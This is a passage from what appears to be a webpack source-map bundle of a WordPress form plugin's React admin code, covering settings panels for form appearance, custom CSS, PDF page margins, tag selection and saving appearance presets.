}`}\n\t\t\t\t\t\t\t\tplaceholder={ translate( 'E.g., 16' ) }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Font Size' ) }\n\t\t\t\t\t\t\t\tnote=\"in px\"\n\t\t\t\t\t\t\t\tprefix=\"\"\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t<Col cols=\"6\">\n\t\t\t\t\t\t\t<SuiSelect2\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Font Weight' ) }\n\t\t\t\t\t\t\t\tplaceholder={ translate( 'Select font weight' ) }\n\t\t\t\t\t\t\t\tproperty={`${ prefix }-font-weight`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, variant) }`}\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<option\n\t\t\t\t\t\t\t\t\tvalue=\"\"\n\t\t\t\t\t\t\t\t\tkey=\"inherit\"\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t{ translate( 'inherit' ) }\n\t\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t\t{ _.map( variants, ( fontVariant ) => (\n\t\t\t\t\t\t\t\t\t<option\n\t\t\t\t\t\t\t\t\t\tvalue={ fontVariant }\n\t\t\t\t\t\t\t\t\t\tkey={ fontVariant }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t{ fontVariant }\n\t\t\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t\t) ) }\n\t\t\t\t\t\t\t</SuiSelect2>\n\t\t\t\t\t\t</Col>\n\t\t\t\t\t</Row>\n\t\t\t\t}\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/settings/fonts.js","import React, { Component } from 'react';\nimport { translate } from '../../../utils';\n\nimport Empty from '../../../settings/containers/empty';\nimport PaddingCustom from './form-container/padding-custom';\nimport BorderCustom from './form-container/border-custom';\nimport SpacingCustom from './form-container/spacing-custom';\nimport RadioTabs from '../../../settings/inputs/radio-tabs';\n\nexport default class FormContainer extends Component {\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"sui-box-settings-row\">\n\n\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t<span className=\"sui-settings-label\">{ translate( 'Form Container' ) }</span>\n\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t{ translate( \"Customize the form container's padding and border.\" ) }\n\t\t\t\t\t</span>\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\n\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tproperty=\"form-padding\"\n\t\t\t\t\t\tsettingsLabel={ translate( 'Padding' ) }\n\t\t\t\t\t\tdescription={ translate(\n\t\t\t\t\t\t\t'By default the form will fill the available ' +\n\t\t\t\t\t\t\t'space where you insert it. You can add some ' +\n\t\t\t\t\t\t\t'padding here to better suit your theme.'\n\t\t\t\t\t\t) }>\n\t\t\t\t\t\t<Empty value=\"\">\n\t\t\t\t\t\t\t{ translate( 'None' ) }\n\t\t\t\t\t\t</Empty>\n\t\t\t\t\t\t<PaddingCustom { ...this.props }\n\t\t\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\t\t\tboxClass=\"sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Custom' ) }\n\t\t\t\t\t\t</PaddingCustom>\n\t\t\t\t\t</RadioTabs>\n\n\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tproperty=\"form-border\"\n\t\t\t\t\t\tsettingsLabel={ translate( 'Border' ) }\n\t\t\t\t\t\tdescription={ translate(\n\t\t\t\t\t\t\t'Add an optional border around the form.'\n\t\t\t\t\t\t) }>\n\t\t\t\t\t\t<Empty value=\"\">\n\t\t\t\t\t\t\t{ translate( 'None' ) }\n\t\t\t\t\t\t</Empty>\n\t\t\t\t\t\t<BorderCustom { ...this.props }\n\t\t\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\t\t\tboxClass=\"sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Custom' ) }\n\t\t\t\t\t\t</BorderCustom>\n\t\t\t\t\t</RadioTabs>\n\n\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tproperty=\"fields-style\"\n\t\t\t\t\t\tsettingsLabel={ translate( 'Spacing' ) }\n\t\t\t\t\t\tdefault=\"open\"\n\t\t\t\t\t\tdescription={ translate(\n\t\t\t\t\t\t\t'Choose how much spacing you want between each form field.'\n\t\t\t\t\t\t) }>\n\t\t\t\t\t\t<Empty value=\"open\">\n\t\t\t\t\t\t\t{ translate( 'Comfortable' ) }\n\t\t\t\t\t\t</Empty>\n\t\t\t\t\t\t<Empty value=\"enclosed\">\n\t\t\t\t\t\t\t{ translate( 'Compact' ) }\n\t\t\t\t\t\t</Empty>\n\t\t\t\t\t\t<SpacingCustom\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\t\t\tboxClass=\"sui-tab-boxed\"\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{ translate( 'Custom' ) }\n\t\t\t\t\t\t</SpacingCustom>\n\t\t\t\t\t</RadioTabs>\n\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/form-container.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nimport Col from '../../../../settings/containers/col';\nimport Input from '../../../../settings/inputs/input';\n\nexport default class paddingCustom extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<div className=\"sui-row\"\n\t\t\t\t\tstyle={ { marginBottom: '10px' } }>\n\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Top' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-padding-top\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Bottom' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-padding-bottom\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Left' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-padding-left\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Right' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-padding-right\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t</div>\n\n\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t{ translate( 'Set your custom padding in pixels.' ) }\n\t\t\t\t</span>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/form-container/padding-custom.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nimport Row from '../../../../settings/containers/row';\nimport Col from '../../../../settings/containers/col';\nimport Input from '../../../../settings/inputs/input';\nimport SuiSelect2 from '../../../../settings/inputs/sui-select2';\n\nexport default class borderCustom extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<div className=\"sui-row\"\n\t\t\t\t\tstyle={ { marginBottom: '10px' } }>\n\t\t\t\t\t<Col cols=\"4\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Radius' ) }\n\t\t\t\t\t\t\tnote={ translate( 'in px' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-border-radius\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t\t<Col cols=\"4\">\n\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Thickness' ) }\n\t\t\t\t\t\t\tnote={ translate( 'in px' ) }\n\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\tproperty=\"form-border-width\"\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Col>\n\t\t\t\t\t<Col cols=\"4\">\n\t\t\t\t\t\t<SuiSelect2\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty=\"form-border-style\"\n\t\t\t\t\t\t\tlabel={ translate( 'Style' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<option value=\"solid\">\n\t\t\t\t\t\t\t\t{ translate( 'Solid' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t<option value=\"dashed\">\n\t\t\t\t\t\t\t\t{ translate( 'Dashed' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t<option value=\"dotted\">\n\t\t\t\t\t\t\t\t{ translate( 'Dotted' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t<option value=\"none\">\n\t\t\t\t\t\t\t\t{ translate( 'None' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t</SuiSelect2>\n\t\t\t\t\t</Col>\n\t\t\t\t</div>\n\t\t\t\t<span className=\"sui-description\">{ translate(\n\t\t\t\t\t'Note: Set the color of the border in the Colors settings area above.'\n\t\t\t\t) }</span>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/form-container/border-custom.js","import React, { Component } from 'react';\n\nimport Input from '../../../../settings/inputs/input';\n\nimport { translate, getThemePrefix } from '../../../../utils';\n\nexport default class spacingCustom extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Input\n\t\t\t\t{ ...this.props }\n\t\t\t\tlabel={ translate( 'Spacing' ) }\n\t\t\t\tnote={ translate( 'in pixels' ) }\n\t\t\t\ttype=\"number\"\n\t\t\t\tplaceholder={ translate( '0' ) }\n\t\t\t\tproperty={`${ getThemePrefix(this.props) }spacing`}\n\t\t\t/>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/form-container/spacing-custom.js","import React, { Component } from 'react';\nimport { translate } from '../../../utils';\n\nimport Toggle from '../../../settings/inputs/toggle';\nimport AceEditor from '../../../settings/inputs/ace-editor';\n\nexport default class CustomCss extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"sui-box-settings-row\">\n\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t<span className=\"sui-settings-label\">{ translate( 'Custom CSS' ) }</span>\n\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t{ translate( 'For more advanced customization options use custom CSS.' ) }\n\t\t\t\t\t</span>\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\t\t\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t\t\t<div style={ { marginBottom: '10px' } }>\n\t\t\t\t\t\t\t<Toggle { ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Enable custom CSS' ) }\n\t\t\t\t\t\t\t\tproperty=\"use-custom-css\"\n\t\t\t\t\t\t\t\tunWrap\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t{ ! _.isUndefined( this.props.settings[ 'use-custom-css' ] ) && this.props.settings[ 'use-custom-css' ] &&\n\t\t\t\t\t\t\t<AceEditor\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tproperty=\"custom_css\"\n\t\t\t\t\t\t\t\ttype=\"form\"\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/custom-css.js","import React, { Component } from 'react';\nimport { translate } from '../../../utils';\nimport SuiSelect2 from '../../../settings/inputs/sui-select2';\nimport Toggle from '../../../settings/inputs/toggle';\nimport Col from '../../../settings/containers/col';\nimport Input from '../../../settings/inputs/input';\nimport PageMargin from './pdf/page-margin';\n\nexport default class PageSettings extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<div\n\t\t\t\t\trole=\"alert\"\n\t\t\t\t\tclassName=\"sui-notice sui-notice-blue sui-active\"\n\t\t\t\t\taria-live=\"assertive\"\n\t\t\t\t\tstyle={ { display: 'block' } }\n\t\t\t\t>\n\t\t\t\t\t<div className=\"sui-notice-content\">\n\t\t\t\t\t\t<div className=\"sui-notice-message\">\n\t\t\t\t\t\t\t<span className=\"sui-notice-icon sui-icon-info\" aria-hidden=\"true\" />\n\t\t\t\t\t\t\t<p>{ translate(\n\t\t\t\t\t\t\t\t'Our PDF builder is constantly improving and we’ll be adding more features over time. ' +\n\t\t\t\t\t\t\t\t'While the current release has limited customization options, ' +\n\t\t\t\t\t\t\t\t'we appreciate your patience as we work to bring you the best experience possible. ' +\n\t\t\t\t\t\t\t\t'Keep an eye out for updates. To manually adjust the appearance of the fields, ' +\n\t\t\t\t\t\t\t\t'you can enable the Custom CSS option below.'\n\t\t\t\t\t\t\t) }</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"sui-box-settings-row\">\n\t\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t\t<span className=\"sui-settings-label\">{ translate( 'Page settings' ) }</span>\n\t\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t\t{ translate( 'Configure the PDF file settings' ) }\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\t\t\t\t\t\t<label className=\"sui-settings-label\">\n\t\t\t\t\t\t\t{ translate( 'Page size' ) }\n\t\t\t\t\t\t</label>\n\t\t\t\t\t\t<span className=\"sui-description\" style={ { marginBottom: '10px' } }>\n\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t'Choose the standard paper size for your PDF document. ' +\n\t\t\t\t\t\t\t\t'The default resolution for each page is set at 96dpi.'\n\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t</span>\n\t\t\t\t\t\t<SuiSelect2\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty=\"paper_size\"\n\t\t\t\t\t\t\tdefaultValue=\"A4\"\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{ _.map( forminatorData.pdf_page_sizes, ( size, key ) => (\n\t\t\t\t\t\t\t\t\t<option key={ key } value={ key }>{ size }</option>\n\t\t\t\t\t\t\t) ) }\n\t\t\t\t\t\t</SuiSelect2>\n\n\t\t\t\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t\t\t\t<Toggle { ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Enable RTL (right-to-left)' ) }\n\t\t\t\t\t\t\t\tproperty=\"enable_rtl\"\n\t\t\t\t\t\t\t\tunWrap\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<hr/>\n\n\t\t\t\t\t\t<PageMargin { ...this.props } />\n\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/page-settings.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nimport Col from '../../../../settings/containers/col';\nimport Input from '../../../../settings/inputs/input';\nimport RadioTabs from '../../../../settings/inputs/radio-tabs';\nimport Container from '../../../../settings/containers/container';\nimport SuiSelect2 from '../../../../settings/inputs/sui-select2';\n\nexport default class pageMargin extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<RadioTabs\n\t\t\t\t{ ...this.props }\n\t\t\t\tproperty=\"pdf_margin\"\n\t\t\t\tdivClass=\"pdf-page-margin\"\n\t\t\t\tsettingsLabel={ translate( 'Page Margin' ) }\n\t\t\t\tdefault=\"default\"\n\t\t\t\tdescription={ translate(\n\t\t\t\t\t'Default margin for all paper sizes is 30px. ' +\n\t\t\t\t\t'Use the custom tab to set a different value.'\n\t\t\t\t) }\n\t\t\t>\n\t\t\t\t<Container value=\"default\" label={ translate( 'Default') }/>\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\tlabel={ translate( 'Custom')}\n\t\t\t\t>\n\t\t\t\t\t<div className=\"sui-border-frame\">\n\t\t\t\t\t\t<div className=\"sui-row\"\n\t\t\t\t\t\t\tstyle={ { marginBottom: '10px' } }>\n\t\t\t\t\t\t\t<Col cols=\"12\">\n\t\t\t\t\t\t\t\t<SuiSelect2\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Margin' ) }\n\t\t\t\t\t\t\t\t\tproperty=\"pdf_margin_unit\"\n\t\t\t\t\t\t\t\t\tfieldClass=\"fui-select-inline\"\n\t\t\t\t\t\t\t\t\tfieldsize=\"100\"\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<option value=\"pt\">pt</option>\n\t\t\t\t\t\t\t\t\t<option value=\"px\">px</option>\n\t\t\t\t\t\t\t\t\t<option value=\"mm\">mm</option>\n\t\t\t\t\t\t\t\t\t<option value=\"in\">in</option>\n\t\t\t\t\t\t\t\t</SuiSelect2>\n\t\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Top' ) }\n\t\t\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\t\t\tproperty=\"pdf_margin_top\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Bottom' ) }\n\t\t\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\t\t\tproperty=\"pdf_margin_bottom\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Left' ) }\n\t\t\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\t\t\tproperty=\"pdf_margin_left\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t\t<Col cols=\"3\">\n\t\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Right' ) }\n\t\t\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\t\t\tplaceholder=\"0\"\n\t\t\t\t\t\t\t\t\tproperty=\"pdf_margin_right\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Col>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</Container>\n\t\t\t</RadioTabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/pdf/page-margin.js","import React, { Component } from 'react';\n\nexport default class SuiTags extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t\tthis.handleChange = this.handleChange.bind( this );\n\t}\n\n\tcomponentDidMount() {\n\t\tconst self = this;\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? []\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tthis.$el = jQuery( this.el );\n\t\tconst options = Object.assign(\n\t\t\t{ allowClear: true, dropdownCssClass: 'sui-select-dropdown' },\n\t\t\tthis.props.options\n\t\t);\n\n\t\tif ( typeof this.$el.SUIselect2 === 'function' ) {\n\t\t\tthis.$el.SUIselect2( options );\n\t\t} else if ( typeof this.$el.FUIselect2 === 'function' ) {\n\t\t\tthis.$el.FUIselect2( options );\n\t\t} else {\n\t\t\tconsole.log( 'select2 not intiated' );\n\t\t}\n\n\t\tthis.$el.on( 'change.select2', this.handleChange );\n\n\t\tif (\n\t\t\t! _.isUndefined( this.props.settings.permission_type ) &&\n\t\t\t(\n\t\t\t\t'specific' === this.props.settings.permission_type ||\n\t\t\t\t! _.isUndefined( this.props.settings.user_info )\n\t\t\t)\n\t\t) {\n\t\t\tconst userInfos = this.props.settings.user_info;\n\n\t\t\t// initial values append\n\t\t\t_.each( value, function( option ) {\n\t\t\t\tif ( ! _.isUndefined( userInfos[ option ] ) ) {\n\t\t\t\t\tself.$el.append( jQuery( '<option value=\"' + option + '\">' +\n\t\t\t\t\tuserInfos[ option ].email +\n\t\t\t\t\t'</option>' ) );\n\t\t\t\t}\n\t\t\t} );\n\n\t\t} else {\n\n\t\t\t// initial values append\n\t\t\t_.each( value, function( option ) {\n\t\t\t\tself.$el.append( jQuery( '<option value=\"' + option + '\">' + option + '</option>' ) );\n\t\t\t} );\n\t\t}\n\n\t\t// initial values on mount\n\t\tthis.$el.val( value ).trigger( 'change.select2' );\n\t}\n\n\tcomponentDidUpdate( prevProps, prevState ) {\n\t\tif (\n\t\t\t! _.isUndefined( this.props.settings.user_role ) &&\n\t\t\tprevProps.settings.user_role !== this.props.settings.user_role\n\t\t) {\n\t\t\tthis.$el.val( [] ).trigger( 'change.select2' );\n\t\t}\n\t}\n\n\thandleChange( e ) {\n\t\tconst value = jQuery( e.target ).val();\n\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.$el.off( 'change', this.handleChange );\n\t\tthis.$el.unbind().removeData();\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? []\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tlet fieldLabel = '';\n\n\t\tif ( this.props.label ) {\n\t\t\tfieldLabel = (\n\t\t\t\t<label htmlFor={ `forminator-field-${ this.props.property }` } className=\"sui-label\">\n\t\t\t\t\t{this.props.label}\n\t\t\t\t\t{this.props.note && <span className=\"sui-label-note\">{this.props.note}</span>}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\treturn (\n\t\t\t<div className=\"sui-form-field\" style={ this.props.style }>\n\t\t\t\t{fieldLabel}\n\n\t\t\t\t<select\n\t\t\t\t\tref={ el => ( this.el = el ) }\n\t\t\t\t\tclassName=\"sui-select\"\n\t\t\t\t\tdefaultValue={ value }\n\t\t\t\t\tmultiple=\"multiple\"\n\t\t\t\t>\n\t\t\t\t\t{this.props.children}\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/sui-tags.js","export const showModal = ( modalProps, modalType ) => dispatch => {\n\tdispatch( {\n\t\ttype: 'SHOW_MODAL',\n\t\tmodalProps,\n\t\tmodalType,\n\t} );\n};\n\nexport const hideModal = () => dispatch => {\n\tdispatch( {\n\t\ttype: 'HIDE_MODAL',\n\t} );\n};\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/actions/modal.js","export const updatePermissions = permissions => dispatch => {\n\tdispatch( {\n\t\ttype: 'UPDATE_PERMISSIONS',\n\t\tpermissions: permissions,\n\t} );\n};\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/actions/permissions.js","/* jshint esversion: 6 */\nimport './appearance-presets';\nimport './permissions';\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/index.js","/* jshint esversion: 6 */\nimport React from 'react';\nimport { renderBlock } from '../renderBlock';\nimport configureStore from '../form/store/configureStore';\nimport i18n from 'i18n-wp-plugin';\nimport axios from 'axios';\nimport qs from 'qs';\nimport { connect, Provider } from 'react-redux';\nimport { bindActionCreators } from 'redux';\nimport * as settingsActions from '../form/actions/settings';\nimport { translate, getThemePrefix } from '../utils';\nimport DesignStyle from '../form/components/appearance/design';\nimport Colors from '../form/components/appearance/colors';\nimport Fonts from '../form/components/appearance/fonts';\nimport FormContainer from '../form/components/appearance/form-container';\nimport CustomCss from '../form/components/appearance/custom-css';\nimport Notification from '../notifications';\nimport PageSettings from \"../form/components/appearance/page-settings\";\n\n\nconst presetId = jQuery( 'select[name=\"appearance_preset\"]' ).val();\nconst currentPreset = ! _.isUndefined( forminatorData.currentPreset ) ? forminatorData.currentPreset : [];\nconst store = configureStore( currentPreset );\n\ni18n.setLocale( forminatorl10n.locale );\n\n// We need our own version of jQuery in case user click Preview with WPEditor enabled\n// WPEditor instance breaks window.jQuery object and we should restore on modal close\nwindow.jQueryFormi = jQuery.noConflict();\n\n\nfunction mapStateToProps( state ) {\n\treturn {\n\t\tsettings: state.settings,\n\t\twrappers: state.wrappers,\n\t\tformDesign: state.settings[ 'form-style' ] || 'default',\n\t};\n}\n\nfunction mapDispatchToProps( dispatch ) {\n\treturn {\n\t\tactions: {\n\t\t\tsettingsActions: bindActionCreators( settingsActions, dispatch ),\n\t\t},\n\t};\n}\n\nfunction handleBeforeunload( e ) {\n\tif ( window.forminatorChanges && window.forminatorChanges.settings === true ) {\n\t\te.preventDefault();\n\t\te.returnValue = translate(\n\t\t\t'You have unsaved changes, are you sure want to leave this page'\n\t\t);\n\t\treturn translate( 'You have unsaved changes, are you sure want to leave this page' );\n\t}\n}\n\nfunction saveAppearancePreset( props ) {\n\tvar $target = jQuery('.forminator-update-appearance-preset');\n\t$target.addClass('sui-button-onload');\n\n\tconst object = {\n\t\taction: 'forminator_save_appearance_preset',\n\t\t_wpnonce: forminatorData.presetNonce,\n\t\tpresetId,\n\t\tsettings: JSON.stringify( props.settings ),\n\t};\n\n\taxios.post( forminatorData.ajaxUrl,\n\t\tqs.stringify( object )\n\t)\n\t\t.then( ( data ) => {\n\t\t\tif ( data.data.success ) {\n\t\t\t\t// Update status\n\t\t\t\twindow.forminatorChanges.settings = false;\n\t\t\t\tprops.setHasUpdated( false );\n\n\t\t\t\tif ( data.data.data ) {\n\t\t\t\t\tconst custom = new Notification( {\n\t\t\t\t\t\ttype: 'success',\n\t\t\t\t\t\ttext: data.data.data,\n\t\t\t\t\t} );\n\n\t\t\t\t\tcustom.open();\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\tconst custom = new Notification( {\n\t\t\t\t\ttype: 'error',\n\t\t\t\t\ttext: data.data.data,\n\t\t\t\t} );\n\n\t\t\t\tcustom.open();\n\t\t\t}\n\t\t} )\n\t\t.catch( ( err ) => {\n\t\t\tconst custom = new Notification( {\n\t\t\t\ttype: 'error',\n\t\t\t\ttext: translate( 'Something went wrong. Please try again.' ),\n\t\t\t} );\n\n\t\t\tcustom.open();\n\n\t\t\tconsole.log( err );\n\t\t} )\n\t\t.then( () => {\n\t\t\t$target.removeClass('sui-button-onload');\n\t\t} );\n}\n\nfunction changePreset( e ) {\n\tvar presetId = e.currentTarget.value,\n\t\tdiv_preloader =\n\t\t\t'<div class=\"sui-box-body sui-block-content-center\" style=\"height: 420px;display: flex; justify-content: center; flex-direction: column;\"><p class=\"\" aria-label=\"Loading content\">' +\n\t\t\t\t'<i class=\"sui-icon-loader sui-loading\" aria-hidden=\"true\"></i>' +\n\t\t\t\t'<br>' + translate( 'Loading Preset data...' ) +\n\t\t\t'</p></div>';\n\n\tjQuery('#forminator-appearance-preset').html( div_preloader );\n\n\tForminator.openPreset( presetId );\n}\n\nfunction deletePreset() {\n\tvar $target = 